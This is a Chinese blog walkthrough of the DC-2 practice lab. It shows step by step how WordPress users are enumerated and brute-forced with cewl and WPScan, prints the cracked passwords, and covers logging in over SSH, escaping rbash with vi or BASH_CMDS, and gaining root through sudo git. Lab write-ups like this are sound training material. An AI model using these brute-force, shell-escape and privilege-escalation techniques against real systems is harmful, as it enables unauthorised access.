当前位置:网站首页>DC-2靶场搭建及渗透实战详细过程(DC靶场系列)
DC-2靶场搭建及渗透实战详细过程(DC靶场系列)
2022-07-04 14:38:00 【金 帛】
目录
DC-2靶场下载地址http://www.five86.com/downloads/DC-2.zip
搭建过程和DC-1一样,将kali跟DC-2放同一网段即可
一. 信息收集
1. 探测目标主机IP地址
arp-scan -l
2. 全面检测目标IP
nmap -A -p- 192.168.120.131
可以看到开放了80端口http协议,还有7744端口ssh服务
Did not follow redirect to http://dc-2/
未遵循重定向到http://dc-2/
这个得修改本地DNS文件否则会访问不了 ,打开etc/hosts文件,添加一下本地DNS
192.168.120.131 dc-2
3. 网页信息探测
打开一下web页面,浏览器访问192.168.120.131
发现有flag选项,找到flag1,点进去划词翻译一下
这儿提示我们使用cewl工具生成字典,这关不能像常规一样利用cms漏洞攻击了(别问为啥,问就是试过很多次都没攻击成功)
4. 目录扫描
利用工具dirsearch扫描一下网站目录
dirsearch -u http://dc-2/ -e * -x 403 404
-u接网站地址
-e后接语言,可选php,asp,*(表示全部语言)等
-x表示过滤的状态码,扫描出来后不显示该状态
可以看到扫出来了个登入的页面 ,我们访问一下看看
果然是后台登入界面,接下来我们只要爆破出账号密码即可
二. Web端渗透
1. 字典生成
flag1提示了我们,一般的字典可能派不上用场,需要用到cewl工具爬取目标网站信息,生成相对应的字典
- 使用方法参考文章kali密码攻击工具——Cewl使用指南
cewl http://dc-2/ -w /root/桌面/dict.txt
将爬取http://dc-2/网站生成的字典,放在桌面上的dict.txt文件中
2. 用户名枚举爆破
先简单介绍一下工具WPScan,参考Kali(渗透工具):WPScan的使用
WordPress是全球流行的博客网站,许多外国的博客都是用它搭建的,但是存在着很多漏洞,专注于这些漏洞与其特性,一个专门针对该CMS的WPScan工具出现了
wpscan --url dc-2 -e u
扫描出来了三个用户名,接着我们在桌面创建一个uname.txt文件,放着这些用户名
admin
jerry
tom
3. 密码枚举爆破
这里我们依旧使用工具wpscan,用户名字典选择uname.txt,密码字典选择cewl生成的字典dict.txt
wpscan --url dc-2 -U /root/桌面/uname.txt -P /root/桌面/dict.txt
爆破出了jerry和tom的密码
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
然后我们进去后台登入,在jerry的账号中
拿到flag2,也提示了我们不能直接通过cms漏洞拿到shell了,让我们找另一种方法
三. 主机端渗透
1. ssh协议远程登入
ssh这东西呢是能用工具hydra通过爆破拿到,前面我们已经拿到过两个账号的用户名和密码,在这里先试一下,因为之前扫描出ssh的端口在7744,所以我们可以用下面的命令登入
ssh 用户名@主机地址 -p 端口
我们尝试登入一下
ssh [email protected] -p 7744
后面点yes,继续输入密码登入
发现无论怎么输入密码都是错的,说明没有jerry这个用户在里面,接着我们用tom的登入一下
ssh [email protected] -p 7744
登进去了,看一下权限
whoami
发现有rbash限制(可以理解为很低权限的用户吧)
2. rbash逃逸(Linux提权的一种)
具体所有方法可参考rbash逃逸方法总结
我们先来看一下rbash限制后能进行那些操作
echo $PATH
#查看上面得到path路径的所有文件
#运行结果 /home/tom/usr/bin
echo /home/tom/usr/bin/*
可以看见能用这四个命令,唯一有用的就只有vi(编辑器)这个命令,这里可以里用vi或者是BASH_CMDS设置shell来绕过rbash,然后再设置环境变量添加命令
- 法一:vi设置shell
先进入vi编辑器界面
vi
然后按Esc键,输入
:set shell=/bin/bash
设置好shell并回车,接着输入
:shell
回车,启动shell
当看见退出了vi编辑器就说明成功了 ,接着我们看一下权限
已经升级为bash了,无法执行cat命令是因为环境变量的问题,用以下命令添加一下两条路径即可
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
- 法二:BASH_CMDS设置shell
设置一下shell并执行
BASH_CMDS[x]=/bin/bash
#设置了个x变量shell
x
#相当于执行shell
我们看到还是缺少了点命令,继续添加一下环境变量即可
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
接着cat一下flag文件
cat f*
拿到flag3,翻译一下
提示我们得su一下jerry,su是Linux切换用户的命令
3. su切换用户
su jerry
再输入一下之前拿到的密码即可 登入进去
然后用命令找一下flag文件
find / -name *flag*
好吧看来除了flag4.txt,其他文件的权限都没有,我们先看看flag4.txt
cat /home/jerry/flag4.txt
提示了我们git,还有root看来是要提权的操作
4. Git提权
虽然flag给了我们提示,但是还是得找一下具有SUID权限的二进制文件的
find / -user root -perm -4000 -print 2>/dev/null
参考简谈SUID提权
好吧一个能用的文件都没有,看来只能用git了
sudo -l
发现git能使用root的权限,这里有两种提权的姿势
- 第一种
sudo git help config
回车然后输入
!/bin/bash (这里bash也可以换成sh)
- 第二种
sudo git -p help
回车输入
!/bin/bash (这里bash也可以换成sh)
提权成功,然后找一下flag文件
cd /
find / -name *flag*
然后打开一下
cat /root/final*
芜湖!拿到最终flag
四. 总结
1. 字典生成工具cewl
利用爬虫爬取网站,根据网站特点生成字典
cewl 网址(如https://www.baidu.com) -w 文件名(如dict.txt)
2. 扫描工具WPScan(只适用于WordPress)
- 用户名枚举
wpscan --url 网站地址 -e u
-e表示枚举类型,u表示用户名。这两个配合使用是枚举用户名
- 密码爆破
wpscan --url 网站地址 -U 用户名字典 -P 密码字典
3. Linux的一些命令
编辑器命令
vi(或vim)
可配合提权操作,进去后,按Esc键可执行操作,输入一下命令
:set shell=/bin/bash(bash可以用sh代替)
:shell
可Getshell
- 环境变量查看(一般用于查看可执行命令)
echo $PATH
记住$PATH的值,比如输出/home/jerry/bin
echo path路径下的文件
这里配合上面命令得到的/home/jerry/bin,可以这样echo /home/jerry/bin/* 查看可执行的命令
- 添加环境变量
export PATH=$PATH:路径
常用的命令的环境变量路径有/usr/bin/和/bin/
我们可以这样添加
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
- 用户切换
su 用户名
之后输入该用户名密码即可
4. rbash逃逸
rbash逃逸是Linux提权的其中之一
- vi/vim法
vi
在编辑器里执行命令,按Esc
:set shell=/bin/bash
回车,然后打开我们的shell
:shell
再设置一下环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
- BASH_CMDS法
利用它设置一个shell
BASH_CMDS[x]=/bin/bash(bash可以换为sh)
然后执行shell
x
再设置一下环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
边栏推荐
- Understand asp Net core - Authentication Based on jwtbearer
- QT graphical view frame: element movement
- The vscode waveform curve prompts that the header file cannot be found (an error is reported if the header file exists)
- Vscode setting outline shortcut keys to improve efficiency
- Detailed explanation of MySQL composite index (multi column index) use and optimization cases
- AutoCAD - set color
- Hair growth shampoo industry Research Report - market status analysis and development prospect forecast
- Unity script introduction day01
- Practice: fabric user certificate revocation operation process
- Opencv learning -- geometric transformation of image processing
猜你喜欢
2022年九大CIO趋势和优先事项
Cut! 39 year old Ali P9, saved 150million
The new generation of domestic ORM framework sagacity sqltoy-5.1.25 release
AI system content recommendation issue 24
Blood cases caused by Lombok use
Redis shares four cache modes
Book of night sky 53 "stone soup" of Apache open source community
AutoCAD - set color
Understand Alibaba cloud's secret weapon "dragon architecture" in the article "science popularization talent"
数据湖治理:优势、挑战和入门
随机推荐
Move, say goodbye to the past again
165 webmaster online toolbox website source code / hare online tool system v2.2.7 Chinese version
Web components series - detailed slides
Common knowledge of unity Editor Extension
Logstash~Logstash配置(logstash.yml)详解
[hcie TAC] question 5 - 1
MySQL federated primary key_ MySQL creates a federated primary key [easy to understand]
std::shared_ ptr initialization: make_ shared< Foo> () vs shared_ ptr< T> (new Foo) [duplicate]
Data Lake Governance: advantages, challenges and entry
Accounting regulations and professional ethics [6]
The new generation of domestic ORM framework sagacity sqltoy-5.1.25 release
. Net applications consider x64 generation
[book club issue 13] packaging format and coding format of audio files
The content of the source code crawled by the crawler is inconsistent with that in the developer mode
The vscode waveform curve prompts that the header file cannot be found (an error is reported if the header file exists)
Unity script lifecycle day02
QT graphical view frame: element movement
China tall oil fatty acid market trend report, technical dynamic innovation and market forecast
Feature extraction and detection 15-akaze local matching
Scientific research cartoon | what else to do after connecting with the subjects?